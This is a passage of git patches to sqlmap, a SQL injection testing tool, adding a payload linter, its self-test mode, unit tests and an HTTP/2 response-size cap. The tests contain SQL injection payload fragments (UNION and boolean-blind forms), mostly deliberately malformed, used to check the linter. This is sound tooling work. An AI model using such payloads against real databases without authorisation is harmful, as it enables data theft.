+ + class _Sink(object): + def write(self, *args, **kwargs): pass + def flush(self, *args, **kwargs): pass + + _queryPage = Connect.queryPage + _getPageTemplate = common_module.getPageTemplate + _level = logger.level + _threads = conf.threads + threadData = getCurrentThreadData() + + retVal = True + total = walked = 0 + flagged = [] + allDbms = sorted(queries.keys()) + + try: + conf.batch = True + conf.threads = 1 # deterministic, single-threaded (clean output) + conf.disableHashing = True + if not conf.base64Parameter: + conf.base64Parameter = [] + common_module.getPageTemplate = lambda *args, **kwargs: ("x", False) + Connect.queryPage = staticmethod(_oracle) + logger.setLevel(logging.CRITICAL) # mute the emulated walk's "unable to retrieve" noise + threadData.disableStdOut = True # mute dataToStdout at its gate + sys.stdout = _Sink() # and mute everything else (readInput prompts, tables, ...) + + def _runMethods(): + found = set() + for name in methods: + method = getattr(conf.dbmsHandler, name, None) + if method is None: + continue + del collected[:] + guard["count"] = 0 + try: + method() + except (KeyboardInterrupt, Exception): + pass + found.update(collected) + return found + + for dbms in allDbms: + try: + Backend.flushForcedDbms(force=True) + kb.stickyDBMS = False + Backend.forceDbms(dbms) + conf.forceDbms = conf.dbms = dbms + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + # a user/column so user-filtered and column-specific query variants + # (WHERE grantee='...', per-column extraction) are exercised too + conf.db, conf.tbl, conf.col, conf.user = "testdb", "testtbl", "testcol", "testuser" + setHandler() + except Exception: + _progress(dbms, 0, 0) + continue + + seen = set() + # (a) boolean-based blind pass, then (b) UNION-query (inband) pass - + # two techniques exercise two distinct payload-builder families in agent.py + for technique, injector in ((PAYLOAD.TECHNIQUE.BOOLEAN, _injection), + (PAYLOAD.TECHNIQUE.UNION, _unionInjection)): + for key in list(kb.data.keys()): + if key.startswith("cached"): + kb.data[key] = None + kb.jsonAggMode = False + kb.injection = injector(dbms) + kb.injections = [kb.injection] + kb.technique = technique + seen.update(_runMethods()) + + bad = [(dbms, p, checkSanity(p)) for p in seen if checkSanity(p)] + flagged.extend(bad) + total += len(seen) + if seen: + walked += 1 + _progress(dbms, len(seen), len(bad)) + finally: + sys.stdout = _stdout + Connect.queryPage = _queryPage + common_module.getPageTemplate = _getPageTemplate + Backend.flushForcedDbms(force=True) + logger.setLevel(_level) + conf.threads = _threads + threadData.disableStdOut = False + + # self-check: the linter must flag a known-malformed payload, and the walk + # must have actually produced payloads (guards against a vacuous pass) + if not checkSanity("1 AND (SELECT id 1 FROM users)"): + logger.error("payload-lint self-check failed: a known-malformed payload was not flagged") + retVal = False + if total < 1000: + logger.error("payload-lint self-check failed: only %d payloads generated (walk did not run)" % total) + retVal = False + + for dbms, payload, issues in flagged[:20]: + retVal = False + logger.error("[%s] malformed payload: %s -> %s" % (dbms, payload, "; ".join(issues))) + + clearConsoleLine() + logger.info("payload-lint: %d payloads across %d/%d DBMSes checked, %d malformed" % (total, walked, len(allDbms), len(flagged))) + if retVal: + logger.info("payload-lint final result: PASSED") + else: + logger.error("payload-lint final result: FAILED") + + return retVal diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 64ac6319f..817e12f6a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -930,6 +930,9 @@ def cmdLineParser(argv=None): parser.add_argument("--fp-test", dest="fpTest", action="store_true", help=SUPPRESS) + parser.add_argument("--payload-lint", dest="payloadLint", action="store_true", + help=SUPPRESS) + parser.add_argument("--api-test", dest="apiTest", action="store_true", help=SUPPRESS) @@ -1187,7 +1190,7 @@ def cmdLineParser(argv=None): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.payloadLint, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/request/connect.py b/lib/request/connect.py index ce39c8f29..70d5091d0 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -139,6 +139,7 @@ from lib.request.comparison import comparison from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode +from lib.utils.sqllint import checkSanity from thirdparty import six from collections import OrderedDict from thirdparty.six import unichr as _unichr @@ -1088,6 +1089,15 @@ class Connect(object): payload = agent.extractPayload(value) threadData = getCurrentThreadData() + # Opt-in sanity lint of the outbound (pre-tamper) payload. Skipped during + # detection (kb.testMode) where deliberately-invalid probes are expected; + # for operational payloads a structural defect is a genuine bug worth a + # heads-up. Enabled via SQLMAP_LINT_PAYLOADS (e.g. CI/--vuln-test runs). + if payload and not kb.testMode and os.environ.get("SQLMAP_LINT_PAYLOADS"): + for issue in checkSanity(agent.removePayloadDelimiters(value)): + singleTimeWarnMessage("potentially malformed SQL payload emitted (%s): %s" % (issue, payload)) + break + if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py index cc2209231..867b4c7d2 100644 --- a/lib/utils/sqllint.py +++ b/lib/utils/sqllint.py @@ -42,7 +42,7 @@ _LEXER = re.compile(r""" | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") | (?P<%s>`[^`]*`|\[[^\]]*\]) | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) - | (?P<%s>[A-Za-z_@$][A-Za-z0-9_@$]*) + | (?P<%s>(?:[A-Za-z_@$]|[^\x00-\x7f])(?:[A-Za-z0-9_@$]|[^\x00-\x7f])*) | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) | (?P<%s>,) | (?P<%s>\.) @@ -69,6 +69,39 @@ _BINARY_KEYWORDS = frozenset(("AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP", "DI # as the SELECT/COUNT wildcard) _BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) +# clause-introducing keywords that signal a dangling list item when they sit +# right after a comma ("SELECT a,b, FROM t"). GROUP/ORDER/LIMIT/OFFSET are +# excluded on purpose - they double as very common column names, so a bare +# "a,limit,b" would false-positive. +_CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO")) + +# sqlmap's own templating markers. If any survives into a *final* outbound payload +# a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always +# a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside +# a string, or where the lexer would otherwise read it as an MSSQL [identifier]). +_LEFTOVER_MARKER = re.compile( + r"\[(?:RANDNUM\d*|RANDSTR\d*|INFERENCE|SLEEPTIME|DELAYED|DELIMITER_START|DELIMITER_STOP" + r"|ORIGVALUE|ORIGINAL|GENERIC_SQL_COMMENT|QUERY|UNION|CHAR|COLSTART|COLSTOP|DB" + r"|SINGLE_QUOTE|DOUBLE_QUOTE|AT_REPLACE|SPACE_REPLACE|DOLLAR_REPLACE|HASH_REPLACE)\]") + +# SQL words whose near-miss spelling in a structural position is almost always a +# broken payload, not a legitimate identifier (deliberately smaller than the full +# keyword list): catches payload-builder typos like UNI1ON/SEL2ECT/ORD2ER without +# flagging arbitrary application identifiers. +# only length>=5 structural keywords: short ones (ON/NOT/IN/IS/BY/OR/AND/ALL/ +# FROM/LIKE/NULL/...) are too easily near-missed by real column names (note->NOT, +# ono->ON), which the real-identifier stress test proved would false-positive. +_NEAR_KEYWORD_TARGETS = frozenset(( + "SELECT", "UNION", "DISTINCT", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "WHERE", "INNER", "RIGHT", "OUTER", "CROSS", "REGEXP", "RLIKE")) + +# single-char substitutions seen in accidental mutation/test edits +_DIGIT_KEYWORD_ALIASES = {"0": "O", "1": "I", "2": "E", "3": "E", "4": "A", "5": "S", "7": "T", "8": "B"} + +_CLAUSE_STARTERS = frozenset(( + "SELECT", "UNION", "FROM", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "INTO", "JOIN", "ON", "AND", "OR")) + _KEYWORDS_CACHE = None @@ -82,6 +115,96 @@ class Token(object): self.end = end +def _word(token): + if token is not None and token.type in (T_IDENT, T_KEYWORD): + return token.value.upper() + return None + + +def _atClauseBoundary(prev): + return prev is None or prev.type in (T_LPAREN, T_RPAREN, T_SEMI, T_COMMA) or \ + (prev.type == T_OP and prev.value not in (".",)) or \ + (prev.type == T_KEYWORD and prev.value.upper() in _CLAUSE_STARTERS) + + +def _editWithin1(a, b): + """Damerau-Levenshtein distance <= 1 (one insertion, deletion, substitution + or adjacent transposition). Catches every single-char keyword typo class.""" + la, lb = len(a), len(b) + if a == b or abs(la - lb) > 1: + return a == b + if la == lb: + diff = [i for i in range(la) if a[i] != b[i]] + if len(diff) == 1: # substitution + return True + if len(diff) == 2 and diff[1] == diff[0] + 1 and \ + a[diff[0]] == b[diff[1]] and a[diff[1]] == b[diff[0]]: # transposition + return True + return False + shorter, longer = (a, b) if la < lb else (b, a) # deletion/insertion + for i in range(len(longer)): + if shorter == longer[:i] + longer[i + 1:]: + return True + return False + + +def _nearKeywordCandidates(value): + """ + Structural SQL keywords one single-char typo away from an identifier + (Damerau distance 1; NOT generic fuzzy matching over the whole keyword file). + + >>> sorted(_nearKeywordCandidates("UNI1ON")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("SEL2ECT")) + ['SELECT'] + >>> sorted(_nearKeywordCandidates("UrNION")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNIN")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNOIN")) + ['UNION'] + """ + upper = value.upper() + if upper in _NEAR_KEYWORD_TARGETS or len(upper) < 4: + return set() + return set(target for target in _NEAR_KEYWORD_TARGETS if _editWithin1(upper, target)) + + +def _nearKeywordIsStructural(sig, index, keyword): + """True when a near-keyword identifier sits where that keyword is expected.""" + prev = sig[index - 1] if index > 0 else None + nxt = sig[index + 1] if index + 1 < len(sig) else None + prevWord = _word(prev) + nextWord = _word(nxt) + + if keyword == "UNION": + return nextWord in ("ALL", "DISTINCT", "SELECT") and \ + prevWord not in ("SELECT", "FROM", "WHERE", "GROUP", "ORDER", "BY", "HAVING", "LIMIT", "OFFSET", "JOIN", "ON", "AS") + + if keyword == "SELECT": + return prev is None or prev.type in (T_LPAREN, T_SEMI) or prevWord in ("UNION", "ALL", "DISTINCT", "EXCEPT", "INTERSECT") + + if keyword in ("ORDER", "GROUP"): + return nextWord == "BY" + + if keyword == "BY": + return prevWord in ("ORDER", "GROUP") + + if keyword in ("AND", "OR", "LIKE", "REGEXP", "RLIKE", "IN", "IS"): + return prev is not None and nxt is not None and prev.type in _OPERANDS and nxt.type in _OPERANDS.union((T_LPAREN,)) + + if keyword in ("FROM", "WHERE", "HAVING", "LIMIT", "OFFSET", "INTO", "JOIN", "ON"): + return _atClauseBoundary(prev) or prevWord in ("SELECT", "UPDATE", "DELETE", "INSERT", "FROM", "WHERE", "HAVING") + + if keyword in ("ALL", "DISTINCT"): + return prevWord in ("UNION", "SELECT") + + if keyword in ("NULL", "NOT"): + return _atClauseBoundary(prev) + + return False + + def _keywords(): global _KEYWORDS_CACHE @@ -194,6 +317,11 @@ def checkSanity(sql, keywords=None): keywords = _keywords() issues = [] + + # -- residual templating markers (upstream substitution failed) -------- + for match in _LEFTOVER_MARKER.finditer(sql): + issues.append("leftover marker '%s' at offset %d" % (match.group(0), match.start())) + tokens = tokenize(sql, keywords) # -- edge tolerance for unterminated strings --------------------------- @@ -201,6 +329,7 @@ def checkSanity(sql, keywords=None): # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. # an odd quote count within an owned scope (the classic "users'" abomination). depth = 0 + unterminated = False for token in tokens: if token.type == T_LPAREN: depth += 1 @@ -209,8 +338,14 @@ def checkSanity(sql, keywords=None): elif token.type == T_UNTERM: if depth > 0: issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + unterminated = True break + # unclosed '(' (a dropped ')'): well-formed payloads NEVER end paren-positive + # (leading break-out ')' only ever makes depth negative), so this is 0-FP. + if not unterminated and depth > 0: + issues.append("unbalanced parentheses (%d unclosed '(')" % depth) + sig = _significant(tokens) for i in range(len(sig)): @@ -223,9 +358,23 @@ def checkSanity(sql, keywords=None): curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN curBinary = _isBinary(cur) and not curIsFunc - # -- glued number/keyword boundary: '1UNION', '1AND' --------------- - if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type in (T_IDENT, T_KEYWORD): - issues.append("digit glued to a word ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + # -- keyword near-miss in a structural position: UNI1ON/SEL2ECT/ORD2ER + if cur.type == T_IDENT: + for keyword in sorted(_nearKeywordCandidates(cur.value)): + if _nearKeywordIsStructural(sig, i, keyword): + issues.append("keyword typo '%s' (near '%s') at offset %d" % (cur.value, keyword, cur.start)) + break + + # -- UNION must continue with SELECT/ALL/DISTINCT/'(' (catches a glued or + # corrupted continuation like 'UNION ALLSELECT' -> UNION ) + if cur.type == T_KEYWORD and cur.value.upper() == "UNION" and nxt is not None: + if not (nxt.type == T_LPAREN or (nxt.type == T_KEYWORD and nxt.value.upper() in ("SELECT", "ALL", "DISTINCT"))): + issues.append("UNION not followed by SELECT/ALL/DISTINCT at offset %d" % cur.start) + + # -- digit glued to a keyword: '1UNION', '5108AND' (a digit-started + # identifier like '4images' is legitimate and must NOT trip this) + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type == T_KEYWORD: + issues.append("digit glued to a keyword ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) # -- operand directly followed by a bare number: 'id 1' ------------ # a numeric literal can never be an alias, so this is always broken @@ -241,6 +390,14 @@ def checkSanity(sql, keywords=None): issues.append("comma right after '(' at offset %d" % cur.start) elif pair == (T_COMMA, T_RPAREN): issues.append("comma right before ')' at offset %d" % cur.start) + elif prev.type == T_KEYWORD and prev.value.upper() == "SELECT" and cur.type == T_COMMA: + issues.append("comma right after SELECT at offset %d" % cur.start) + elif prev.type == T_COMMA and cur.type == T_KEYWORD and cur.value.upper() in _CLAUSE_KEYWORDS \ + and nxt is not None and nxt.type not in (T_COMMA, T_RPAREN): + # a clause keyword right after a comma AND followed by real content is a + # dangling list item ("a,b, FROM t"); if it is a bare list item itself + # ("a,group,b" - a column named 'group') the next token is a comma/paren/end + issues.append("dangling comma before '%s' at offset %d" % (cur.value, cur.start)) elif pair == (T_RPAREN, T_LPAREN): issues.append("adjacent groups ')(' at offset %d" % cur.start) elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): diff --git a/sqlmap.py b/sqlmap.py index a2085c4c2..a54f97e38 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -195,6 +195,9 @@ def main(): elif conf.fpTest: from lib.core.testing import fpTest os._exitcode = 1 - (fpTest() or 0) + elif conf.payloadLint: + from lib.core.testing import payloadLintTest + os._exitcode = 1 - (payloadLintTest() or 0) elif conf.apiTest: from lib.core.testing import apiTest os._exitcode = 1 - (apiTest() or 0) @@ -610,7 +613,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.payloadLint, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py index 064686900..b5389e756 100644 --- a/tests/test_sqllint.py +++ b/tests/test_sqllint.py @@ -79,6 +79,28 @@ BAD = ( "1 UNION SELECT NULL,,NULL", # empty list item "1 AND (1=1)(2=2)", # adjacent groups "SELECT count() FROM t WHERE id=)", # operator before ')' + "SELECT a,b, FROM t", # dangling comma before clause + "1 AND (SELECT [DELIMITER_START]x[DELIMITER_STOP] FROM t)", # leftover templating marker + "1 [ORIGVALUE] AND 1=1", # leftover ORIGVALUE marker + "1 UNI1ON ALL SELECT NULL,NULL", # digit-corrupted UNION + "1 UrNION ALL SELECT NULL", # char-inserted UNION + "SEL2ECT x.z FROM t", # digit-corrupted SELECT + "1 ORD2ER BY 1", # digit-corrupted ORDER + "1 UNIN ALL SELECT NULL", # deletion-typo UNION + "1 UNOIN ALL SELECT NULL", # transposition-typo UNION + "SELCT a FROM t", # deletion-typo SELECT + "1 UNION ALLSELECT NULL", # glued keyword after UNION + "1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')') + "1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT +) + +# cross-dialect valid constructs the near-keyword / comma / digit-glue rules must +# NOT flag (regression guards for false positives the real-identifier stress found) +DIALECT_GOOD_HARD = ( + "SELECT 4images_users FROM t", # digit-STARTED identifier (not '1UNION') + "SELECT a,group,b FROM t", # column literally named 'group' + "SELECT a,order FROM t", # column literally named 'order' + "1 UNION SELECT orders FROM t", # 'orders' near ORDER but a real table ) # queries.xml: attributes that carry SQL (not regexes/markers) @@ -142,13 +164,17 @@ def _payload_atoms(): class TestLinterSelf(unittest.TestCase): def test_well_formed_pass(self): - for sql in GOOD + DIALECT_GOOD: + for sql in GOOD + DIALECT_GOOD + DIALECT_GOOD_HARD: self.assertEqual(checkSanity(sql), [], "false positive on valid SQL: %r" % sql) def test_malformed_flag(self): for sql in BAD: self.assertTrue(checkSanity(sql), "missed malformed SQL: %r" % sql) + def test_nonascii_identifier(self): + # a non-ASCII column name (Turkish dotless-i U+0131) must lex as an identifier, not stray + self.assertEqual(checkSanity(u"SELECT \u0131d,ad FROM users"), []) + # module-level coverage accounting (printed in tearDownModule) _COVERAGE = {"queries_dbms": 0, "queries_atoms": 0, "payload_atoms": 0} From 8db71f4d67b9d1b4416176a0cff4df3e1f3b7bcd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 17:55:54 +0200 Subject: [PATCH 152/165] Fixes CI/CD error --- lib/core/settings.py | 2 +- lib/request/comparison.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0cfb735d4..0560348ff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.44" +VERSION = "1.10.7.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index b800f4795..30beafabc 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -132,7 +132,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): page = removeDynamicContent(page) if threadData.lastPageTemplate != kb.pageTemplate: threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) - # Same template-identity memoization for the structure-aware projections (§below): the + # Same template-identity memoization for the structure-aware projections (see below): the # template is constant across an extraction, so it must not be re-parsed/re-tokenized on # every inference request - only seq2 (from the live page) is recomputed per response threadData.lastPageTemplateJsonMinimized = jsonMinimize(kb.pageTemplate) From 165bf837c937cc7bd57ba4c55622af5e4fa4905c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 18:00:42 +0200 Subject: [PATCH 153/165] Minor update --- lib/core/settings.py | 2 +- tests/test_library.py | 7 +++++++ tests/test_sqllint.py | 16 ---------------- 3 files changed, 8 insertions(+), 17 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0560348ff..1cb6c5ddf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.45" +VERSION = "1.10.7.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_library.py b/tests/test_library.py index 8437238e5..36a608e31 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -122,6 +122,11 @@ class TestReportErrorCapture(unittest.TestCase): # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) saved_level = logger.level logger.setLevel(logging.ERROR) + # mute the existing console handler(s) so the deliberate ERROR below does not leak to the + # unittest output; the recorder added by setupReportCollector next still captures it + muted = [(handler, handler.level) for handler in logger.handlers] + for handler, _ in muted: + handler.setLevel(logging.CRITICAL + 1) collector = setupReportCollector() try: logger.error("boom %s", "here") @@ -129,6 +134,8 @@ class TestReportErrorCapture(unittest.TestCase): self.assertTrue(any("boom here" in _ for _ in result["error"])) finally: logger.setLevel(saved_level) + for handler, level in muted: + handler.setLevel(level) for handler in list(logger.handlers): if isinstance(handler, ReportErrorRecorder): logger.removeHandler(handler) diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py index b5389e756..63f409ff1 100644 --- a/tests/test_sqllint.py +++ b/tests/test_sqllint.py @@ -176,14 +176,9 @@ class TestLinterSelf(unittest.TestCase): self.assertEqual(checkSanity(u"SELECT \u0131d,ad FROM users"), []) -# module-level coverage accounting (printed in tearDownModule) -_COVERAGE = {"queries_dbms": 0, "queries_atoms": 0, "payload_atoms": 0} - - class TestCatalogCoverage(unittest.TestCase): def test_queries_xml_clean(self): atoms = _queries_atoms() - _COVERAGE["queries_dbms"] = len(atoms) total = 0 for dbms, items in atoms.items(): for raw in items: @@ -191,12 +186,10 @@ class TestCatalogCoverage(unittest.TestCase): issues = checkSanity(_materialize(raw)) self.assertEqual(issues, [], "queries.xml [%s] malformed atom: %r -> %s" % (dbms, raw, issues)) - _COVERAGE["queries_atoms"] = total self.assertGreater(total, 1000) # sanity: the catalog was actually walked def test_payloads_xml_clean(self): items = _payload_atoms() - _COVERAGE["payload_atoms"] = len(items) for name, title, raw in items: issues = checkSanity(_materialize(raw)) self.assertEqual(issues, [], @@ -204,14 +197,5 @@ class TestCatalogCoverage(unittest.TestCase): self.assertGreater(len(items), 500) -def tearDownModule(): - q = _COVERAGE - total = q["queries_atoms"] + q["payload_atoms"] - sys.stderr.write( - "\n[sqllint coverage] atom-level: %d SQL atoms linted clean " - "(%d queries.xml across %d/30 DBMSes + %d payloads.xml vectors)\n" - % (total, q["queries_atoms"], q["queries_dbms"], q["payload_atoms"])) - - if __name__ == "__main__": unittest.main(verbosity=2) From dd4f40ad5ef173dacd751b0ee14484cbe1975f16 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 18:51:29 +0200 Subject: [PATCH 154/165] Adding max reponse size for HTTP2 --- lib/core/settings.py | 2 +- lib/request/http2.py | 18 ++++++++++++++++++ 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1cb6c5ddf..0a35a7fce 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.46" +VERSION = "1.10.7.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 17c768068..a8aa6287f 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -377,6 +377,12 @@ class Encoder(object): SETTINGS_INITIAL_WINDOW_SIZE = 0x4 BIG_WINDOW = (1 << 31) - 1 +# Upper bound on the response bytes (body or header block) buffered per stream. The client advertises a +# ~2GB flow-control window, so without this a large (or hostile) server would drive the whole body into +# memory and OOM the process. Mirrors the HTTP/1.1 path's MAX_CONNECTION_TOTAL_SIZE (100MB) cap in +# connect.py; a stream that exceeds it is truncated (body) or abandoned (headers) and its connection retired. +MAX_RESPONSE_SIZE = 100 * 1024 * 1024 + def _recv_exact(sock, n): buf = b"" while len(buf) < n: @@ -524,6 +530,9 @@ class _H2Connection(object): if flags & FLAG_PRIORITY: p = p[5:] header_block += p + if len(header_block) > MAX_RESPONSE_SIZE: # hostile/endless header block -> bail rather than OOM + self.usable = False + raise IOError("oversized HTTP/2 header block") if flags & FLAG_END_HEADERS: resp_headers = self.dec.decode(header_block) if flags & FLAG_END_STREAM: @@ -533,6 +542,9 @@ class _H2Connection(object): if flags & FLAG_PADDED: p = p[1:len(p) - bytearray(payload)[0]] resp_body += p + if len(resp_body) > MAX_RESPONSE_SIZE: # cap like the HTTP/1.1 path; stop reading and retire the + self.usable = False # connection (leftover frames abandoned) instead of OOM + break if payload: # replenish stream + connection windows self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload)))) self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) @@ -603,6 +615,9 @@ class _H2Connection(object): if flags & FLAG_PRIORITY: p = p[5:] state[fsid]["hb"] += p + if len(state[fsid]["hb"]) > MAX_RESPONSE_SIZE: + self.usable = False + raise IOError("oversized HTTP/2 header block during timeless pair") if flags & FLAG_END_HEADERS: state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"]) if flags & FLAG_END_STREAM and fsid in remaining: @@ -612,6 +627,9 @@ class _H2Connection(object): if flags & FLAG_PADDED: p = p[1:len(p) - bytearray(payload)[0]] state[fsid]["body"] += p + if len(state[fsid]["body"]) > MAX_RESPONSE_SIZE: # cap the buffered body (mirrors exchange()) + self.usable = False + raise IOError("oversized response during timeless pair") if payload: self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload)))) self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) From 8dda2b42a59ac017b01b799cf525ed0a818e0e25 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 19:09:10 +0200 Subject: [PATCH 155/165] Minor patch --- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a35a7fce..3739c2150 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.47" +VERSION = "1.10.7.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index e28244c05..d9b4b589e 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -131,7 +131,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): else: retVal = getUnicode(retVal) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD): - output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload), re.DOTALL) if output: retVal = output else: From d8cc2ae93b95fdda6b9e4f931f44bb115c1a3f8b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 19:26:36 +0200 Subject: [PATCH 156/165] Minor update --- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3739c2150..19a90dd1e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.48" +VERSION = "1.10.7.49" TYPE = "dev" if 